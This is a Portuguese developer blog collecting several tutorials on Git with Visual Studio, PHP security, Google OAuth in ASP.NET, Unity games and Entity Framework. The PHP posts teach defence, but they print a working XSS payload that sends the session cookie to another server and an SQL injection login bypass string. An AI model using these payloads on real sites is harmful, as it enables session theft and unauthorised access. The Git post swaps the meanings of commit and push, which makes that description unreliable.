sábado, 24 de junho de 2017

Git com Visual Studio

Git é um sistema de controlo de versões (VCS) criado por Linus Torvalds em 2005. Com o Git é possível controlar as alterações que são feitas em cada ficheiro ao longo do tempo, permitindo também coordenar as alterações entre diferentes elementos de uma equipa.

É um sistema mais utilizado na produção de software, mas pode ser utilizador para manter um registo das alterações ocorridas em qualquer ficheiro.

Cada utilizador mantém um repositório dos ficheiros a controlar localmente, na sua máquina, e de cada vez que pretender registar as alterações executa um comando denominado de push.
As alterações locais podem, posteriormente, ser enviadas para um servidor, onde todas as alterações são registadas, esta operação é executada com o comando commit.

Sendo uma ferramenta originalmente desenvolvida para Linux todos os seus comandos são executados através da linha de comando. No entanto, estes comandos podem ser executados através de interfaces gráficas que simplificam a sua utilização.

O Visual Studio integra uma ferramenta que permite tirar partido deste sistema, independentemente do servidor escolhido para fazer o controlo das versões. É possível utilizar um serviço da própria Microsoft, o GitHub ou qualquer outro servidor que suporte os comandos Git, como por exemplo o BitBucket.

O Git pode ser integrado no projeto desde a sua criação no Visual Studio, para isso basta selecionar a opção Create new Git repository.

segunda-feira, 2 de janeiro de 2017

Segurança em páginas PHP - Parte 2

Na segunda parte desta série de artigos vamos explorar uma página de mensagens, ao estilo de um forum, para fazer um ataque de session hijacking.

Primeiro o código da página é o seguinte:



Agora o problema: o input da página não é verificado para a existência de carateres potencialmente perigosos, assim a página permite a execução de javascript.

Para além de pequenas brinqueiras que podem ser tentadas como abrir popups ou redirecionar o browser para outras páginas, a página é vulnerável a outro tipo de ataque que permite capturar o cookie de sessão e envia-lo para outro servidor. Será este o tipo de ataque que vamos demonstrar aqui.

Com o seguinte código inserido na input box para a mensagem vamos fazer com o que browser tente abrir um imagem, que na realidade é um script PHP que vai resgatar o cookie de sessão:

<script>document.write('<img src="http://localhost:8088/login/submitcookie.php?cookie='+escape(document.cookie)+'"/>');</script>

O código PHP que vai capturar o cookie é o seguinte:



Neste caso o código vai criar um ficheiro de texto com o valor do cookie, permitindo a sessão atual do utilizador possa ser capturada bastando para isso injetar esse cookie no browser do atacante.

Para tornar a página segura é necessário validar o input, para isso podemos criar uma função:
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
(código retirado de www.w3schools.com)

Claro que também deviamos utilizar parâmetros em vez de strings concatenadas para o código SQL.




terça-feira, 27 de dezembro de 2016

Segurança em páginas PHP

Uma preocupação que deve estar presente em todos os programadores Web é a segurança dos seus produtos.

Com este artigo iniciamos uma série de posts em que vamos explorar alguns problemas básicos de segurança relacionados com a injeção de instruções SQL em formulários web ou parâmetros da URL.

Serão apresentados exemplos de código com problemas de segurança e de como os evitar.

Então vamos começar por um simples formulário para login implementado com o seguinte código:





Neste exemplo o código verifica se foi devolvido mais do que um registo da base de dados, assumindo assim que as credenciais fornecidas estão corretas.

O maior erro envolve a concatenação dos valores recebidos do formulário com a instrução SQL, permitindo, por isso, que o utilizador manipule a instrução ao seu belo prazer.

Independentemente do nome de utilizador inserido basta escrever na palavra passe o seguinte texto para se optar a indicação de que o login foi concluído com sucesso: o' or 1=1 #

Com este texto a instrução SQL vai devolver sempre um registo pois 1 é igual a 1. O # no final permite ignorar o resto da instrução pois é o simbolo para comentários em MySQL.

A solução para este problema passa por utilizar parâmetros, preparando a instrução antes de a executar. Assim o seguinte código resolve este problema:





terça-feira, 14 de junho de 2016

Google OAuth 2.0 em ASPX

Neste artigo vamos explorar a identificação de utilizadores através de serviços externos à aplicação web, nomeadamente através de uma conta de utilizador Google.

Para desenvolver o site vamos utilizar o Visual Studio 2015 recorrendo à tecnologia Webforms ASPX e com a linguagem de programação C#.

O site vai incluir uma opção para registo do utilizador e outra para o login que permitirá o acesso a páginas privadas.

Começamos por criar um projeto no VS.

PacMan 3D

Neste artigo vamos fazer um jogo simples, o clássico Pacman em 3D. Para isso vamos utilizar o Unity 3D, claro.

Vamos começar por criar um projeto novo.

segunda-feira, 4 de abril de 2016

Entity Framework

Neste post vamos aprender a utilizar a framework entity para o desenvolvimento de automático das operações de inserção, remoção, atualização e consulta de uma tabela.

Começamos por criar um projeto web em MVC com o Visual Studio 2015.



sexta-feira, 25 de março de 2016

Jogos móveis == otimização

Fazer um jogo para plataformas móveis não é fácil, por isso é melhor pensar na otimização da aplicação desde o início.


Depois de decidir que ia fazer um jogo para plataformas móveis e de ter um estrutura simples a funcionar olhei para a performance (frames por segundo) e as coisas não estavam nada bonitas. Tinha um nível quase sem nada, para além de um terreno e o melhor que conseguia obter eram 8 frames por segundo.

Então tratei de pegar no saco de truques de otimização e comecei a testar:
- primeiro simplifiquei os modelos, menos vértices, menos arestas, menos faces, significa mais performance;
- depois alterei os shaders do Unity para mobile;
- como tinha um terreno decidi olhar para as opções deste e encontrei algumas opções interessantes, como:
  - pixel erro;
  - base map distance;
  - detail distance;
- também tenho uma luz (directional light) e alterei:
  - baking para baked;
  - shadows para hard shadows;

No código otimizei:
- concatenação de strings, nunca fazer sem um stringbuilder;
- chamadas a funções, evitar sempre que possível, especialmente na função update;
- substituir algumas funções por simples otimizações como a função Mathf.Abs que substitui por x = (x>=0 ? x : -x)

Depois destas pequenas alterações passei a ter 20 frames por segundo! Nada mau, especialmente tendo em conta que já não tenho um nível vazio.

Ainda existem algumas otimizações ao nível do motor de física, mas ficam para mais tarde.